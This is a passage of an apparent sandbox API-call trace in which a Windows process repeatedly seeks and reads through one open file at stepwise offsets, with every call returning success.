hFile=0x190, liDistanceToMove=0x260, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.153] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3e8, lpOverlapped=0x0) returned 1 [0069.153] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x260, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.153] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x268, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.153] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3e0, lpOverlapped=0x0) returned 1 [0069.153] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x268, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.153] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x270, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.153] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3d8, lpOverlapped=0x0) returned 1 [0069.153] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x270, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.154] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x278, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.154] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3d0, lpOverlapped=0x0) returned 1 [0069.154] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x278, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.154] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.154] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3c8, lpOverlapped=0x0) returned 1 [0069.154] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.154] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.154] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3c0, lpOverlapped=0x0) returned 1 [0069.154] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.154] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x290, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.154] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3b8, lpOverlapped=0x0) returned 1 [0069.154] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x290, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.154] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.154] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3b0, lpOverlapped=0x0) returned 1 [0069.154] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.155] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.155] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3a8, lpOverlapped=0x0) returned 1 [0069.155] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.155] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.155] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3a0, lpOverlapped=0x0) returned 1 [0069.155] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.155] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.155] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x398, lpOverlapped=0x0) returned 1 [0069.155] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.155] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.155] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x390, lpOverlapped=0x0) returned 1 [0069.155] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.155] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.155] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x388, lpOverlapped=0x0) returned 1 [0069.155] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.155] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.156] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x380, lpOverlapped=0x0) returned 1 [0069.156] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.156] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.156] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x378, lpOverlapped=0x0) returned 1 [0069.156] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.156] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.156] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x370, lpOverlapped=0x0) returned 1 [0069.156] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.156] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.156] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x368, lpOverlapped=0x0) returned 1 [0069.156] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.156] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.156] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x360, lpOverlapped=0x0) returned 1 [0069.156] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.156] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.156] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x358, lpOverlapped=0x0) returned 1 [0069.156] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.157] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.157] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x350, lpOverlapped=0x0) returned 1 [0069.157] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.157] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x300, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.157] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x348, lpOverlapped=0x0) returned 1 [0069.157] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x300, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.157] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x308, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.157] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x340, lpOverlapped=0x0) returned 1 [0069.157] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x308, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.157] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.157] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x338, lpOverlapped=0x0) returned 1 [0069.157] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.157] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.157] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x330, lpOverlapped=0x0) returned 1 [0069.157] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.157] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.158] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x328, lpOverlapped=0x0) returned 1 [0069.158] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.158] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.158] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x320, lpOverlapped=0x0) returned 1 [0069.158] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.158] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x330, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.158] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x318, lpOverlapped=0x0) returned 1 [0069.158] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x330, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.158] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x338, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.158] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x310, lpOverlapped=0x0) returned 1 [0069.158] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x338, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.158] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.158] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x308, lpOverlapped=0x0) returned 1 [0069.158] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.158] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x348, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.159] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x300, lpOverlapped=0x0) returned 1 [0069.159] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x348, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.159] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x350, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.159] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2f8, lpOverlapped=0x0) returned 1 [0069.159] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x350, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.159] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x358, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.159] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2f0, lpOverlapped=0x0) returned 1 [0069.159] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x358, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.159] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x360, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.159] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2e8, lpOverlapped=0x0) returned 1 [0069.159] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x360, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.159] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.159] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2e0, lpOverlapped=0x0) returned 1 [0069.159] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.159] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.159] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2d8, lpOverlapped=0x0) returned 1 [0069.160] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.160] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x378, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.160] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2d0, lpOverlapped=0x0) returned 1 [0069.160] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x378, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.160] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.160] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2c8, lpOverlapped=0x0) returned 1 [0069.160] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.160] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.160] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2c0, lpOverlapped=0x0) returned 1 [0069.160] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.160] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x390, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.160] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2b8, lpOverlapped=0x0) returned 1 [0069.160] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x390, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.160] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.160] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2b0, lpOverlapped=0x0) returned 1 [0069.160] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.161] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.161] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2a8, lpOverlapped=0x0) returned 1 [0069.161] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.161] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.161] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2a0, lpOverlapped=0x0) returned 1 [0069.161] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.161] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.161] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x298, lpOverlapped=0x0) returned 1 [0069.161] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.161] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.161] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x290, lpOverlapped=0x0) returned 1 [0069.161] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.161] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.161] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x288, lpOverlapped=0x0) returned 1 [0069.161] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.161] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c8, lpNewFilePointer=0x0, 